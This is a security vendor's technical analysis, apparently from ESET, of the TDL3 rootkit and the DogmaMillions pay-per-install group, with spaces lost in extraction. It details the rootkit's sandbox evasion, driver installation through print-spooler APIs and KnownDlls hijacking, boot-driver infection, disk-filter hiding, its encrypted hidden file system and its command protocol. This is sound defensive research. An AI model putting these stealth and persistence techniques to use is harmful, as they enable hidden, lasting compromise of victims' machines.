TDL3 Analysis

Embed Size (px)

Citation preview

  • 8/8/2019 TDL3 Analysis

    1/31

    TDL3:TheRootkitofAllEvil?*AccountofanInvestigationintoaCybercrimeGroup

    AleksandrMatrosov,seniorvirusresearcherEugeneRodionov,rootkitanalyst

    ESET,Derbenevskayanab.,7,bld.14,Moscow

    *Radixmalorumestcupiditas:Theloveofmoneyistherootofallevil(1Timothy6:10)

  • 8/8/2019 TDL3 Analysis

    2/31

    www.eset.ru

    2

    ContentsDOGMAMILLIONSCYBERCRIMEGROUP...............................................................................................3

    DOGMAMILLIONS........................................................................................................................................3

    THEDROPPER.......................................................................................................................................8DETECTINGVIRTUALMACHINEENVIRONMENT.....................................................................................................8

    CHECKINGLOCALES.......................................................................................................................................9

    INSTALLINGKERNELMODEDRIVER..................................................................................................................10

    UsingAddPrintProcessorandAddPrintProvidorAPI...........................................................................10Usingknowndlls................................................................................................................................13

    THEROOTKIT......................................................................................................................................15INFECTION.................................................................................................................................................15

    READINGANDWRITINGDATAFROM/TOHARDDISK............................................................................................19

    HOWTOSURVIVEAFTERREBOOT....................................................................................................................21

    INJECTINGMODULESINTOPROCESSES..............................................................................................................22

    ENCRYPTEDFILESYSTEM.....................................................................................................................22INJECTOR............................................................................................................................................25

    COMMUNICATIONPROTOCOL........................................................................................................................26

    TASKS......................................................................................................................................................27

    APPENDIXA........................................................................................................................................28APPENDIXB........................................................................................................................................29APPENDIXC........................................................................................................................................30APPENDIXD........................................................................................................................................31

  • 8/8/2019 TDL3 Analysis

    3/31

    www.eset.ru

    3

    DogmaMillionscybercrimegroupNotsolongagooneofourclientsaskedustoanalyzeasetofTDSSdroppersandtolocatethe

    sourceofthethreat.Duringour investigationwefoundevidenceofthecomplicityofoneofthewell

    knowncybercrime

    groups

    in

    distributing

    those

    rootkits.

    The

    droppers

    were

    distributed

    using

    aPay

    Per

    Install (PPI)schemewellknownandgrowing increasinglypopularamongcybercrimegroups .ThePPI

    scheme is similar to those used for distributing toolbars for the browsers. For instance, if you are a

    partnerofGoogleanddistributeitstoolbarsthenyouhaveaspecialbuildwithanembeddedidentifier

    which allows for calculating the number of your installations and therefore your revenue. The same

    approach isused fordistributingtherootkits: informationaboutthedistributor isembedded intothe

    executableandtherearespecialserversusedtocalculatethenumberofinstallations.

    DogmaMillionsTheDogmaMillionscybercrimegroupstartedbusinessintheautumnofthelastyear,placinga

    lotof

    advertisements

    on

    public

    forums

    offering

    "easy

    money".

    Here

    is

    the

    cybercrime

    groups

    web

    page

    :

    Figure1CybercrimeGroupWebPage

  • 8/8/2019 TDL3 Analysis

    4/31

    www.eset.ru

    4

    Onthenextfigureyoucanseeinformationaboutthedogmamillions.comdomainname,which

    isregisteredinGermanyandhasanIPaddressbelongingtoanInternetproviderintheUSA.

    Figure2Domainnameinformationofthecybercrimegroup

    According to Alexa (http://www.websiteoutlook.com/www.dogmamillions.com) this resource

    getsquiteahighvolumeofindividualvisitors.

    Anyone deciding to cooperate with the cybercrime group receives a unique login and a

    password,identifyingthenumberofinstallationsperresource.

    http://dogmamillions.com/download.html?login=b0bah&key=2b15ea4e5eb2bbd734081c0

    51a14fa41&affSid=0As

    we

    go

    further

    we

    can

    see

    awell

    developed

    business

    infrastructure:

    for

    example,

    each

    person

    affiliatehasapersonalmanagerwhocanbeconsultedincaseofanyproblems.

  • 8/8/2019 TDL3 Analysis

    5/31

    www.eset.ru

    5

    Figure3Supportservice

    Figure4Malwaredistributionscheme

  • 8/8/2019 TDL3 Analysis

    6/31

    www.eset.ru

    6

    In order to reduce the number of detections by antivirus software, distributed malware is

    repackedeveryfewhours(orevenmorefrequent)andpartnersareinstructednottocheckonwhether

    the malware can be detected by AV by using resources like VirusTotal. If these rules are violated, a

    partner may be fined. Usually, the cybercrime group uses quite reliable packers and protectors that

    ensure that malware stays undetected by many antivirus products. The packers used for protecting

    rootkitsemploysophisticatedtechniquesandtoolstodetectdebuggersandvirtualmachines.Youcan

    seetheuserinterfacecharacteristicofoneoftheminthefigurebelow.Thenewversionofthisproduct

    costsapproximately$500.

    Figure5Userinterfaceofapacker

    The PayPerInstall scheme is widely used by maintainers of resources used to store pirated

    content.For instance,web siteswhere users can watchpopularvideo serialsuse this techniqueand

    offermalware fordownloadmasquerading asantivirusprogram.Anexample ofoneof these sites is

    providedbelow.

  • 8/8/2019 TDL3 Analysis

    7/31

    www.eset.ru

    7

    Figure6DownloadingtherootkitasAntivirus

    Whenyouvisitthewebresourceyouareshownabannerthatrefusestobeclosed.Whenyou

    clickon it,youareredirectedtoamaliciouswebpagethatperformsanattackbyusinganexploit,or

    else you receive an alert claiming that your system is infected by a virus, and you are invited to

    downloadantivirussoftwareprogram.

  • 8/8/2019 TDL3 Analysis

    8/31

    www.eset.ru

    8

    Figure7Downloadingtherootkitasanantivirus

    TheDropperThe rootkit dropper is encrypted. The decryption routine is slightly obfuscated and differs

    between different droppers. During unpacking, the dropper performs some simple antidebugging

    checksand

    also

    checks

    that

    it

    isnt

    running

    inside

    avirtual

    machine.

    The

    next

    figure

    shows

    the

    structure

    ofthedropper.

    PackedusermodedropperUnpackedusermodedropper

    Kernelmodedrivertdlcmd.dll

    config.ini

    tdl

    bckfg.tmp

    Themoduletoinjectintoprocesses

    Configurationfile

    Thebodyoftherootkit

    Temporaryfile

    Figure8TheDropperStructure

    DetectingvirtualmachineenvironmentThe rootkit dropper checks whether the rootkit is being executed in the context of a virtual

    machine. Itdoes soby reading the localdescriptor table register (LDTR) that isused tocalculate the

    linearaddressfromthesegment_selector:offsetpair.MicrosoftWindowsoperatingsystemsdontusea

    Local Descriptor Table (LDT), so the LDTR contains zero, but many virtual machine programs use it,

    nonetheless. Inthisway,therootkitcaneasilycheckwhether it isrunning insidevirtualmachine.The

    following figure shows howTDL3 uses this technique to ensure that it isnt executed inside a virtual

    machine.

  • 8/8/2019 TDL3 Analysis

    9/31

    www.eset.ru

    9

    Figure9

    Checking

    virtual

    machine

    environment

    CheckinglocalesSome modified versions of the rootkit found in the United Kingdom are designed to be

    distributedandruneverywhereexceptthefollowingcountries:

    Azerbaijan; Belarus; Kazakhstan; Kyrgyzstan;

    Russia;

    Uzbekistan; Ukraine; CzechRepublic; Poland.

    The rootkit dropper compares the current locale with those of the countries listed above. If

    thereisamatchitterminatesexecutionandasaresult,thesystemdoesntgetinfected.

  • 8/8/2019 TDL3 Analysis

    10/31

    www.eset.ru

    10

    InstallingkernelmodedriverUsingAddPrintProcessorandAddPrintProvidorAPIHere we will describe the installation of the driver using the AddPrintProcessor and

    AddPrintProvidorAPIfunctions.Theprocessofdriverinstallationcanberoughlydividedintotwostages:

    Adding

    the

    print

    processor

    or

    provider;

    Installingthekernelmodedriver.First of all, to install a print provider or add a print processor, an application requires

    SE_LOAD_DRIVER_PRIVILEGE.Thus,at the first stage (see thenext figure) thedropper tries toadjust

    SE_LOAD_DRIVER_PRIVILEGE:this isnecessary inordertoperformsubsequentactions. Ifsuccessful, it

    copies itself into %PrintProcessor% as a dynamic link library and calls the AddPrintProcessor

    (AddPrintProvidor)APIfunction,passingasparametersthenameofthecopied libraryandtdlstring

    (that is, the nameof the printprocessoror printprovider).This makes (via theRPCmechanism) the

    trustedsystemprocessspoolsv.exeloadthespecifiedlibraryandexecuteitsentrypoint.

    AdjustSeLoadDriverprivilege

    Copyitselfintotempdirectory

    Createmanifestfile

    fail

    Call

    ShellExecute

    CopyitselfintoPrintProcessordirectory

    success

    SetIMAGE_FILE_DLLflaginthePEheader

    CallAddPrintProcessor(AddPrintProvidor)

    API

    CallDeletePrintProcessor(DeletePrintProvidor)API

    Figure10Thefirststageoftheinstallation.

    If the dropper fails to adjust SE_LOAD_DRIVER_PRIVILEGE, it creates a manifest file with the

    samenameasthedropper,andinthesamedirectory,withthefollowingcontent:

  • 8/8/2019 TDL3 Analysis

    11/31

    www.eset.ru

    11

    Then it runs another instance of the dropper by calling the ShellExecute API function, which

    causestheOperatingSystem(wearespeakingaboutWindowsVistaandWindows7operatingsystems)

    todisplayadialogboxpromptingausertotypetheadministratorpassword,asshowninFigure11.Ifa

    usertypesthepasswordthedropperisrestartedbutthistimewithadministrativeprivileges including

    SE_LOAD_DRIVER_PRIVILEGE.

    Figure11Thedialogboxdisplayedtouser

    When thedropperhasbeen loadedbyspoolsv.exe,thesecondstageof the installation takes

    placeintheaddressspaceofthetrustedsystemprocess(Figure12).Asthedropperrunsinthecontext

    ofthesystemprocess,itfoolsmanyantivirusprogramsandisabletoloadthedriverbystealth.During

    thesecondstageofthe installationthedropper loadstherootkit intokernelmodeaddressspaceand

    writesadditionalmodulesandconfigurationinformationintotherootkitsfilesystem.

    Thedropper creates a service with a random 16character name representing the driver and

    executestheZwLoadDriverroutine.Iftheinstallationofthedriverwassuccessful,thisroutinereturnsa

    STATUS_SECRET_TOO_LONGerror

    code,

    which

    causes

    the

    system

    to

    unload

    the

    driver

    and

    clean

    up

    allocated resources. If the system is already infected with the TDL3 rootkit this routine returns a

    STATUS_OBJECT_NAME_COLLISIONerrorcode.

  • 8/8/2019 TDL3 Analysis

    12/31

    www.eset.ru

    12

    Dropdriverintotempdirectory

    Createservicewithrandomname

    Loaddriver

    Createtdlcmd.dll,bckfg.tmpand

    config.iniinrootkitsfilesystem

    Sendbot informationtotheserver

    Figure12Thesecondstageoftherootkitinstallation

    Ifthedropper failsto installtherootkit forsomereason, itsendsamessage toaserver.This

    messagehasthefollowingformat:

    bot_id|aff_id|sub_id|reason_code|error_code|os_version|prn1 bot_idbotidentifier; aff_idandsub_iddistributoridentifiers; reason_codethereasonoffailure:

    o 2Win32error;o 3thesystemisalreadyinfected;

    error_codecodeoftheWin32errorornativeerrorcode(NTSTATUS); os_versionoperatingsystemversion; prn1ASCIIstring.

    Iftheinstallationwassuccessfulthenthedroppercreatesthefollowingfilesintherootkitsfile

    system:

    tdlcmd.dllusermodeinjector; config.iniconfigurationfile; bckfg.tmp.

    Thedropperextractsthesefilesfrom its image.Tobemoreprecisethedropperhasasection

    with a .tdl name containing all the files to be dropped, as well as configuration and version

    information.Thelayoutofthissectionispresentedinfigure13.Thesectionconsistsofdatadividedinto

  • 8/8/2019 TDL3 Analysis

    13/31

    www.eset.ru

    13

    blocks.EachblockofdataisprecededbyaDWORDcontainingitssizesothatwecaneasilydetermine

    the contents of the block using the specified index. Here is a summary of the content of the .tdl

    section:

    Blockwithindex0kernelmodedriver(therootkitandinfector); Blockwithindex1dynamiclinklibrarytoinjectintoprocesses(tdlcmd.dll); Block with index 2 list of URLs specifying servers to communicate with (send data, receive

    commands);

    Blockwithindex3textinformationaboutdistributoroftherootkit(affiliationID),dateoftherootkitbuild;

    Blockwithindex4filebckfg.tmp.

    block0(kernelmodedriver)Sizeofblock0

    .tdlsectionSizeofthe driver Driverimage

    block1(tdlcmd.dll)Sizeofblock1

    Sizeofthe library Libraryimageblock2(URLsofcontrolservers)

    Sizeofblock2Sizeofthestring Unicodestringblock3(distributorinformation,versioninformation)

    Sizeofblock3Sizeofthestring Unicodestring

    block4(bckfg.tmp)Sizeofblock4

    Sizeofthe file File

    Figure13Layoutofthe.tdlsectionofthedropper

    UsingknowndllsHerewedescribeamethod for installingadriveremployedbyoneof theoldversionsof the

    rootkit.Asinthepreviouslydescribedtechnique,theprocessofinfectioncanbedividedinto2stages:

    Injectingcodeintothespoolsv.exeprocess; Installingthekernelmodedriver.

    Thesecondstageofthismethodissimilartothoseofthemethoddescribedabovebutthefirst

    stageisratherdifferent.Thedropperinjectscodeinthesystemprocessviaknowndlls.

    Before describing the method itself we will make some preliminary observations about this

    technique.Ifweexploretheobjectdirectory\KnownDllswithWinObjusingSysinternalsweseealist

    ofsectionobjectscorrespondingtosystemlibraries(Figure14).TheOSloaderusesthoseobjectstoload

  • 8/8/2019 TDL3 Analysis

    14/31

    www.eset.ru

    14

    its library intoaprocesssaddressspace.Whenaprocesswantsto loadsucha librarythe loaderjust

    mapsanexistingsectionobjectcorrespondingtothespecifiedlibraryintoitsaddressspace.

    Figure14Listofknowndlls

    Soifwereplaceanexistingsectionobjectwithourown,ourcodeisloadedinsteadofthatinthe

    librarywe replaced.Thedropperworks in thesameway.Firstly thedroppercreatesa sectionobject

    called\KnownDlls\dll.dll,correspondingtothe library itwantsto inject intotheprocess.Secondly it

    copiesmsvcrt.dll library intothetempdirectoryandpatches itsothat it loadsthedll.dll library(entry

    point of the patched msvcrt.dll library calls LoadLibrary(dll.dll) API function). Thirdly the dropper

    deletes the existing section object \KnownDlls\msvcrt.dll corresponding to the original library and

    createsthe

    section

    object

    with

    the

    same

    name

    but

    targeted

    to

    the

    patched

    library,

    as

    we

    can

    see

    in

    Figure16.

    Before

    SectionObject\KnownDlls\msvcrt.dll

    OriginalDLL%systemroot%\msvcrt.dll

    After

    SectionObject\KnownDlls\msvcrt.dll

    PatchedDLL%temp%\msvcrt.dll

    Figure15Replacingsectionobjectcorrespondingtoknowndll

  • 8/8/2019 TDL3 Analysis

    15/31

    www.eset.ru

    15

    When the section object is replaced the dropper stops print service, causing the spoolsv.exe

    processtobeterminated.Thenthedropperrestartstheprintserviceandasaresultspoolsv.exeprocess

    iscreated. Inconsequencepatchedmsvcrt.dll library is loaded into itsaddressspacevia the replaced

    sectionobject.Inthiswaythedropperinfiltratesintospoolsv.exeand,aswesaidearlier,itloadsdriver

    inthesamewayasdescribedpreviously.

    TherootkitInthissectionwewilldescribetherootkititself.Firstofallwewillstartwithwhathappenswhen

    itisloadedintokernelmodeaddressspace.

    InfectionInordertosurviveafterreboottherootkit infectsoneofthesystemdrivers.Wewilldescribe

    the infection mechanism of the latest available sample (at the time of writing this paper) of the

    malware. First of all the rootkit chooses the driver to infect. Its previous modifications (for instance

    version3.23)always infectthesamedriver,namely,theminiportstoragedrivercorrespondingtothe

    physicaldevice

    on

    which

    the

    system

    is

    located.

    In

    the

    latest

    version,

    in

    order

    to

    make

    its

    removal

    more

    challenging,itinfectsarandomlychosendriverthatisloadedattheboottime.Figure16showshowthe

    rootkitdetermineswhichdrivertoinfect.

    DRIVER_SECTION

    pci.sys

    DRIVER_SECTION

    Driver1.sys

    DRIVER_SECTION

    Driver2.sys

    DRIVER_SECTION

    DriverN.sys

    DRIVER_SECTION

    win32k.sys

    ...

    ...

    Fromthesedriverstherootkitchoosesonetoinfect

    Figure16Choosingadrivertoinfect

    To select its victim the rootkit goes through the linked list of the undocumented kernel

    structures (DRIVER_SECTION), containing information about all the loaded drivers in the system. It

    randomly chooses a driver whose DRIVER_SECTION structure is located between structures

    correspondingtopci.sysandwin32k.sysdrivers.

    Oncetherootkithaschosenthevictim it injectsa loader(asmallpieceofcodethat loadsthe

    bodyoftherootkit)intoitsimage.Inthenextpicture(Figure17)wecanseewhatactuallyhappens.The

    rootkitoverwrites

    the

    first

    917

    bytes

    of

    the

    resources

    with

    loader

    code

    and

    auxiliary

    data.

    Overwritten

    databelongingtotheoriginaldriverarestoredintherootkitsfilesysteminafilewithrsrc.datname

    so that when the rootkit has been loaded it can restore the infected drivers original resources. The

    malware modifies the drivers entry point to point to the loader. Thus one of the most notable

    characteristicsofthe infecteddriveristhatitsentrypoint is locatedintheresourcesection.Whenthe

    infectionhasbeencompletedthesizeoftheexecutableitselfisntchanged.

  • 8/8/2019 TDL3 Analysis

    16/31

    www.eset.ru

    16

    Headers

    Sections

    code

    resources...

    data

    EntrypointHeaders

    Sections

    code

    resources...

    data Entrypoint

    TDLloader

    ReplaceresourcesandmodifyPEheader

    resorcedata TDLloader

    rsrc.dat

    Figure17Infectingkernelmodedriver

    Notably, it also modifies the .NET metadata data directory entry of the PE header with the

    valuesofsecuritydatadirectoryentry,whichmakesitdifficulttoperformstaticanalysisoftheinfected

    driver(seeFigure18).

  • 8/8/2019 TDL3 Analysis

    17/31

    www.eset.ru

    17

    Figure18DatadirectoryoftheinfecteddriverinCFFexplorer

    For instance,thedisassembler IDAProv5.6 fails to loadthe image: itshowsanerrordialogboxand

    hangs.

    Figure19DisassemblerIDAProv5.6hangsonloadinginfecteddriver

    The loaderconsistsofthe loaderdataandcode.The first20bytesofthe loaderrepresent its

    dataandcontaininformationneededbytheloader:

    0/8bytesoffsetofthebeginningoftherootkitsfilesystemontheharddrive; 8/12bytesoriginalentrypoint; 12/16bytessizeofthesecuritydatadirectory; 16/20byteschecksumoftheoriginalimage.

    The other 897 bytes represent loader code, the purpose of which is to restore the infected

    imagewiththestoredvalues, loadthebodyoftherootkitstored intherootkitsfilesystem intoafile

    with"tdl"name,andtransfercontroltoit.Whentheloadergetscontrolitcallstheoriginalentrypoint

    of the infected driver and then the rootkit sets IoPlugAndPlayNotifiactionRoutine to wait until the

    systemloadsthestoragedriverstack.

    Whenthe

    notification

    routine

    is

    called,

    the

    rootkit

    loads

    its

    body

    from

    its

    own

    file

    system

    by

    reading sectors of the hard drive, and transfers control to it. To maintain its file system the rootkit

    createsadriverobjectandadeviceobject.BeforedescribinghowtherootkithooksIRM_MJdispatchers

    letuslookathowDRIVER_OBJECTandDEVICE_OBJECTstructurescorrespondingtotheminiportdriver

    areorganized.

  • 8/8/2019 TDL3 Analysis

    18/31

    www.eset.ru

    18

    DriverObjectMiniportdriver

    DeviceObject

    DeviceObject

    DeviceObject

    DeviceObject

    ...NextDeviceNextDevice

    DriverObjectDriverObject DriverObject

    DeviceObject

    DriverObject

    Figure20Layoutofthekernelmodestructuresbeforeinfection

    The miniport driver creates device objects corresponding to physical devices installed in the

    system.Eachdriverobjecthasapointertoaonedirectionaldeviceobject linked list,andeachdevice

    objecthas

    apointer

    to

    the

    next

    device

    created

    by

    the

    driver

    and

    apointer

    to

    the

    corresponding

    driver

    object. Figure 20 describes the situation before the rootkit is loaded. The device with a red border

    represents a physical device object corresponding to the systems primary hard drive. Figure 21 we

    showswhathappenswhentherootkitisloaded.

  • 8/8/2019 TDL3 Analysis

    19/31

    www.eset.ru

    19

    DriverObjectRootkitdriver

    DeviceObject

    DeviceObject DriverObject

    DriverObject

    DriverObjectMiniportdriver

    DeviceObject

    DeviceObject

    DeviceObject

    DeviceObject

    ...

    DriverObject DriverObject

    DeviceObject

    DriverObject

    NextDevice

    NextDevice

    Figure

    21

    Layout

    of

    the

    kernel

    mode

    structures

    after

    infection

    Objectscoloredredrepresentstructurescreatedbytherootkit.Themalwarecreatesadevice

    objecttomanage itsfilesystemandexcludestheminiportdeviceobjectfromthelinked listdescribed

    above. ItalsomodifiestheDriverObjectpointeroftheminiportdeviceobjecttopointtotherootkits

    driver.Thus,alltheIRPsrequestsaredirectedtotherootkitsdriverandnottotheminiportdriver.The

    onlythingtherootkitmodifiesintheminiportdriverobjectistheStartIoroutine,whichitreplaceswith

    thehook.

    Readingandwritingdatafrom/toharddiskAsweseefromtheprevioussection,therootkitmonitorsalltherequeststargetedtowardsthe

    miniportdeviceobject.Toprotectitsowndata,suchasthefilesystemandinfecteddriver,itfiltersread

    requests. If it reads the infected driver the rootkit returns original file content of the file. When

    someonereadsitsfilesystemitreturnsbufferfilledwithzeros.

    In order to read data on the hard drive the rootkit directly calls the miniport drivers

    IRP_MJ_INTERNAL_DEVICE_CONTROL handlers. To do so it allocates the IRP, initializes

    SCSI_REQUEST_BLOCKstructureandcalls theminiportshandler. Insomesenses itdoesmuchof the

    sameworkasthediskclassdriver.

  • 8/8/2019 TDL3 Analysis

    20/31

    www.eset.ru

    20

    Forinstance,ifitwantstoreadafileontheharddriveritshouldperformsthefollowingthings:

    determinewhatsectorsthefileoccupies; readthosesectorsandassemblethefile.

    TogetthesectorscorrespondingtothefilethemalwareusestheZwFsControlFileroutinewith

    FSCTL_GET_RETRIEVAL_POINTERScontrolcode.

    Asstatedearlier,therootkitfiltersreadrequestsanddetectswhenanapplicationreadsitsfile

    systemorinfecteddriver.Therearetwoplaceswhereitmonitorsthedatabeingread:

    IRP_MJ_INTERNAL_DEVICE_CONTROLdispatcher; StartIoroutine.

    Eachreadoperationischeckedtwice:thefirsttimeintherootkitsIRP_MJhandlerandthenext

    timeinStartIocallback.Tobeabletoreaditsownfilesystemtherootkitmarks itsreadrequestswith

    special value which is checked in StartIo routine. If the check is unsuccessful (which means that the

    sender of the request isnt the rootkit) it sets up a completion routine which counterfeits data on

    completionoftherequest.Thefollowingfigures(22and23)willclarifythisinformation.

    SCSI

    requestblock

    Rootkitdriver:counterfeitdataand

    completerequest

    Rootkitdriver:IRP_MJ_INTERNAL_DEVICE_CONTROL

    hookApplicationreadsinfecteddriveror

    rootkitsfilesystem

    Rootkitdriver:callminiports

    IRP_MJ_INTERNAL_DEVICE_CONTROLhandler

    Otherwise

    Figure22FilteringIRP_MJ_INTERNAL_DEVICE_CONTROLrequeststominiportsPDO

  • 8/8/2019 TDL3 Analysis

    21/31

    www.eset.ru

    21

    SCSI

    requestblock

    Rootkitdriver:callminiports

    IRP_MJ_INTERNAL_DEVICE_CONTROL handler

    Rootkitdriver:createreadrequestandmarkitas

    initiatedbytherootkit

    SCSI

    requestblock

    Rootkitdriver:StartIohook

    Rootkitdriver:SetIOcompletionroutine

    Therequestwasntinitiatedbytherootkit

    Rootkitdriver:callminiportsStartIoroutine

    Therequest

    was

    initiatedbythedriver

    Figure

    23

    Additional

    checks

    in

    StartIo

    hook

    HowtosurviveafterrebootPreviousmodificationsoftherootkitperformprotectionofitsdata(theimagepathvalueofthe

    infecteddriver registrykeyand the infecteddriver fileondisk) inaseparate thread.Onceevery five

    secondsitcheckstheregistrykeyvalueandfileonthediskandiftheyarechangeditrestoresitsvalues.

  • 8/8/2019 TDL3 Analysis

    22/31

    www.eset.ru

    22

    Inthelatestversionofthemalware,insteadofqueuingaworkitemtochecktheregistryvalue

    andthefile,itregistersashutdownnotificationroutineandallchecksareperformedinthisroutine.So

    ifyoureplacetheinfecteddriverwith legalone,orchange its imagepathregistryvalue,thesechanges

    will persist until the system is shut down. When the system is shut down the rootkit receives

    IRP_MJ_SHUT_DOWNandrestoresthedata,iftheyhavebeenmodified.

    InjectingmodulesintoprocessesTherootkitsetsLoadImageNotifiactionRoutine,whichiscalledeachtimetheOSmapsamodule

    intomemory.So,when itdetectsmappingofthekernel32.dll library intoaprocesssaddressspace it

    injectsintotheprocessaspecialmodulecalledinjector.Therootkitretrievesthenameofthemoduleto

    inject from itsconfigurationfileconfig.ini(seeAppendixD).Thisfilecontainsasectionwiththename

    "[injector]".Eachentryofthissectionhasthefollowingformat:

    name_of_the_process=name_of_the_module_to_injectThe symbol "*" means: for each process, thus module tdlcmd.dll is injected into all

    processes.

    Accordingly,theremaybemodulesspeciallydesignedtobeinjectedintospecificprocesses.

    Additionallytherootkitinjectstheinjectorintothesvchost.exeprocess.

    EncryptedfilesystemOneofthemostinterestingfeaturesoftherootkitisitsfilesystem,whichisusedtostoreand

    keephiddenitsfiles:

    injectors(tdlcmd.dll); configurationinformation(config.ini); therootkitbody(tdl); overwrittenresourcesoftheinfectedfile(rsrc.dat); additionalfilesthataredownloadedfromtheinternet.

    Wecanseethelayoutofthefilesysteminfigure24.

  • 8/8/2019 TDL3 Analysis

    23/31

    www.eset.ru

    23

    Harddrive

    Lastblock

    Rootkitfilesystem

    Block0Block1

    ..

    .

    Filetableconfig.ini

    tdl

    .

    .

    Directionofgrowth

    Figure24rootkitfilesystemlayout

    Thefilesystembeginsattheendofthedisk,namelyatthelastlogicalblock(sector),andgrows

    towardsthebeginningofthedisk.Thus,intheoryitcanoverwriteusersdataifislargeenough.Itstarts

    attheoffsetfromthebeginningofthedisk,whichcanbecalculatedwiththefollowingformula:

    Here represents the total number of logical blocks on the disk, while represents the size of the

    logicalblock (typically,thesizeofthe logicalblock is512bytes).The filesystemoftherootkit isalso

    dividedintoblocks.Eachblockhassizeof1024bytes.Attheverybeginningofthefilesystemfileatable

    islocatedwhichcontainsinformationaboutallthefilesstoredinthefilesystem.Eachrecordinthefile

    tablehasthefollowingformat:

    filename(limitedto16symbols);

  • 8/8/2019 TDL3 Analysis

    24/31

    www.eset.ru

    24

    startingoffsetofthefilefromthebeginningofthefilesystemexpressedinkilobytes(togettheactualoffsetofafileweneedtosubtractthestartingoffsetofafilemultipliedby1024fromthe

    offsetofthebeginningofthefilesystem);

    sizeofthefile; timeofcreation.

    All the structures describing the file system can be found in Appendix A. Each block of the

    rootkitsfile

    system

    has

    the

    following

    format:

    0/3bytessignature:o TDLDiftheblockcontainsfiletableinformation;o TDLFiftheblockcontainsafile;o TDLNiftheblockisfree;

    4/7offsettothenextblockfromthebeginningofthefilesystemexpressedinkilobytes; 8/11sizeofthedata; 12/1023data.IntheFigure25wecanseeanexampleofthefiletable.

    Figure25Firstblockoftherootkitsfilesystem

    Aswecanseefromthefigureabovethefilesystemcontains5files:

    tdlfilewiththebodyoftherootkit; config.iniconfigurationfile; rsrc.dat915(0x393)bytesoftheoverwrittenresourcesoftheinfecteddriver; tdlcmd.dllthemodulethatisinjectedintoprocesses;

  • 8/8/2019 TDL3 Analysis

    25/31

    www.eset.ru

    25

    ?xay.tmpdeletedtemporaryfile.

    Also,wecansee,thatthefileconfig.inihasasizeof0x2A1bytesandstartsatthenextblock(its

    offsetis1kilobyte)ofthefilesystem.

    Eachblock of the rootkits file system is encrypted. In the last version (3.273) the blocks are

    encryptedby

    XORing

    with

    aconstant

    value

    (0x54)

    which

    is

    incremented

    at

    each

    XOR

    operation,

    while

    in

    thepreviousversionstheRC4cipherwasusedwiththetdlkey.Decryptionalgorithmsforbothciphers

    canbefoundinAppendixB:

    InjectorIn this section we will discuss the default injector tdlcmd.dll that is injected into svchost.exe

    process,andintoeachprocesscreatedaftertherootkitstarted.But,inactuality,tdlcmd.dllperformsits

    maliciousactivityonlywhenitisloadedintotheaddressspaceofprocessesassociatedwithexecutables

    with names that include the following substrings: "svchost.exe", "netsvcs.exe", "explore", "firefox",

    "chrome","opera",

    "safari",

    "netscape",

    "avant",

    "browser",

    wuauclt

    (see

    Figure

    26).

    Otherwise

    it

    is

    unloaded.

    Figure26Tdlcmd.dllcanbeloadedintocertainprocesses

    Whenthe injector is loaded intoaddressspaceofaprocess itdeletesanyhooksandrestores

    anysplicedfunctionsinthefollowinglibraries:

    ntdll.dll; kernel32.dll; mswsock.dll;

  • 8/8/2019 TDL3 Analysis

    26/31

    www.eset.ru

    26

    ws2_32.dll; wsock32.dll; wininet.dll.

    It does so by manually loading them and comparing its .text and .rsrc sections with

    correspondingsectionsof theoriginally loaded libraries. If it findssomediscrepancy it restores these

    sections.

    Theinjectoralsohooksthefollowingfunctions:

    ntdll.dll:o KiUserExceptionDispatcher;o ZwProtectVirtualMemory;o ZwWriteVirtualMemory;

    mswsock.dll:o WSPRecv;o WSPSend;o WSPCloseSocket;

    ole32.dll:o CoCreateInstance.

    Theinjectorhastwomodesofoperating,dependingontheprocessintowhichitisloaded.Ifitis

    loadedintothesvchost.exeornetsvcs.exeprocessitbehavesasabackdoori.e.itperiodicallyrequests

    commandsandtasksfromtheremoteserver.Tdlcmdsectionoftherootkitconfigurationfilecontainsa

    listofserverswithwhichtheinjectorshouldcommunicate.

    Iftdlcmd.dll is injectedintoabrowserthen itmonitorsallhttptraffic,redirectsthebrowserto

    certainwebsitesandcounterfeitsresultsofsearchrequests.

    CommunicationprotocolAllthecommunicationsbetweentherootkitandaremoteserverareperformedoverHTTPand

    initiatedbytheinjector.Torequestcommands,theinjectorsendsthefollowinginformationtoaremote

    server:

    bot_id|aff_id|sub_id|version|3.74|os_version|locale_info|default_browser|install_dateThis information is encrypted with RC4 and encoded according to BASE64 encoding rules. To

    encrypt this request, the target URL is used as a key. Examples of such requests can be found in

    Appendix C. The list of URLs is obtained from the rootkit configuration file (section tdlcmd, key

    servers). The rootkit queries all the servers from this list at the interval of time specified in the

    configurationfile

    (section

    main,

    key

    retry).

    Thecommandsthattheinjectorreceivesfromtheservershasthefollowingformat:

    Command.Method(parameter1,Parameter2,..)Commandscantakethefollowingvalues:

    tdlcmd;

  • 8/8/2019 TDL3 Analysis

    27/31

    www.eset.ru

    27

    nameoftheexecutableintherootkitsfilesystem.Whentdlcmdisspecifiedasacommandthemethodcantakethefollowingvalues:

    DownloadCrypteddownloadencryptedfileandstoreitintherootkitsfilesystem; DownloadAndExecutedownloadexecutableandrunit; Downloaddownloadfileandstoreit; ConfigWritewriteastringintoconfigurationfile.

    When thevaluespecifiedasacommand isnttdlcmd then themethodcanbeany function

    exportedbythemodule.

    Theparameterscanbethefollowingvalues:

    strings(UnicodeandASCII); integers; floatnumbers.

    TasksTherootkitconfigurationfilehasasectionwiththenametasks(seeAppendixEforexample).

    Inthissectiontheinjectorstoresallcommandsreceivedfromtheservers.

    Whentherootkitreceivesthetdlcmd.DownloadCryptedcommanditwritesthefollowingvalue

    tothissection:

    module_name=*target_urlWhentherootkitreceivestdlcmd.DownloadAndExecutecommanditwritesthefollowingvalue

    tothissection:

    date_of_request=!target_urlWhen the rootkit receives tdlcmd.Download command it writes the following value to this

    section:

    module_name=target_url.Todeletefiletheinjectorwritesinthissectionthefollowingstring:

    name_of_the_file_to_delete=Onceevery300secondstheinjectorexecutesallthetasksinthetaskssection.

  • 8/8/2019 TDL3 Analysis

    28/31

    www.eset.ru

    28

    AppendixAFilesystemstructures

    //Structurecorrespondingtofileentryinthefiletabletypedefstruct_TDL_FILE_TABLE_ENTRY{

    charFileName[16]; //filenameULONGFileSize; //sizeofthefileULONGFileOffset; //offsetofthefileinkilobytes__int64FileTime; //timeofcreation

    }TDL_FILE_TABLE_ENTRY,*PTDL_FILE_TABLE_ENTRY;//Structurecorrespondingtoblockwithfiletypedefstruct_TDL_FILE_OBJECT{

    ULONGSignature; //TDLForTDLNiftheblockisfreeULONGNextBlockOffset; //offsettothenextblockwithfiledatainkilobytesULONGReserved;UCHARFileData[0x3F4]; //filedata

